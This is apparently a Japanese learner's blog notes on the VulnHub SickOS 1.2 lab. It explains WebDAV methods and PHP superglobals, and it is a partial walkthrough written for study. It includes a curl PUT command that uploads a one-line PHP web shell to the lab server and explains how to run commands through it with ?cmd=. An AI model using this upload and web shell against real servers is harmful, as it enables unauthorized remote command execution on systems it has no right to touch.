SickOS 1.2 webDAVとPHPによるweb shell実行
今回はVulnHubのSickOS 1.2について、内容を写経しようと思います
参考文献は以下
今回のキーとなるものの一つに、webDAVがあるようです
webDAV
webDAVはWeb-based Distributed Authoring and Versioningの略である
webサーバ上のファイル管理を目的とした分散プロトコルらしい
参考:https://ja.wikipedia.org/wiki/WebDAV
FTPやSCPに頼らず、ファイルのアップロードや更新などが行える
あっそれあかんやつやん。。。
webDAVのメソッドとして、以下がある
PROPFIND:指定したURIが示す資源の属性を取得する 具体的には、要求する属性をクライアントがWebサーバに送信すると、サーバはそれに対応した属性値を返す また、その資源の属性全てを取得することも出来る
PROPPATCH:指定したURIが示す資源の属性の設定や削除を行う
MKCOL:指定したURIの場所に新たな資源を作成する
COPY:指定したURIが示す資源およびその属性値を別のURIにコピーする
MOVE:指定したURIが示す資源およびその属性値を別のURIに移動する
LOCK:指定したURIが示す資源のファイルロックを設定する 共有ロックと排他ロックの二種類が利用できる
UNLOCK:指定したURIが示す資源のロックを解除する
なので、逆にここらへんのメソッドを見つけたらwebDAVを連想する必要がある
今回のケースでは、curl --head -X OPTIONS http://172.16.208.163/test/をサーバに送信することで、使用できるメソッドの一覧が取得でき、webDAVが利用可能なことがわかる
ここにweb shellのphpを仕込むんですね・・・
用意されているcurl文は以下になります
curl -v -X PUT -d '<?php system($_GET["cmd"]);?>' http://172.16.208.163/test/shell.php
-d以下の内容のファイルがPUTで作成される、と
PHPによるWEB SHELLについて
Walkthruoghでは、上記のようにサーバ上にweb shellとして動作するphpファイルをアップロードしています
正直phpのことあんまりわかってないので、構文について理解が乏しいです
参考文献をもとに、phpについて少し学んでみました
・形として、<?php 関数(引数);>といった形になっている
・変数、繰り返し、オブジェクト指向、、、もろもろできる(知らなかった。。。)
さらに別の文献
・$_POST["XXX"], $_GET["YYY"]
上記はスーパーグローバル関数と呼ばれ、それぞれのメソッドで特定の変数に紐づいた値を格納する
例)POSTで-d "XXX:xxx"とするとxxxが、GETで?YYY=yyyとするとyyyがそれぞれ得られる
今回は、system($_GET["cmd"])となっているので、
?cmd=ls などとすれば、$_GET["cmd"]がlsとなり、system関数でlsが呼ばれる、といった具合
参考:https://www.php.net/manual/ja/function.system.php
残りは次回!
以上。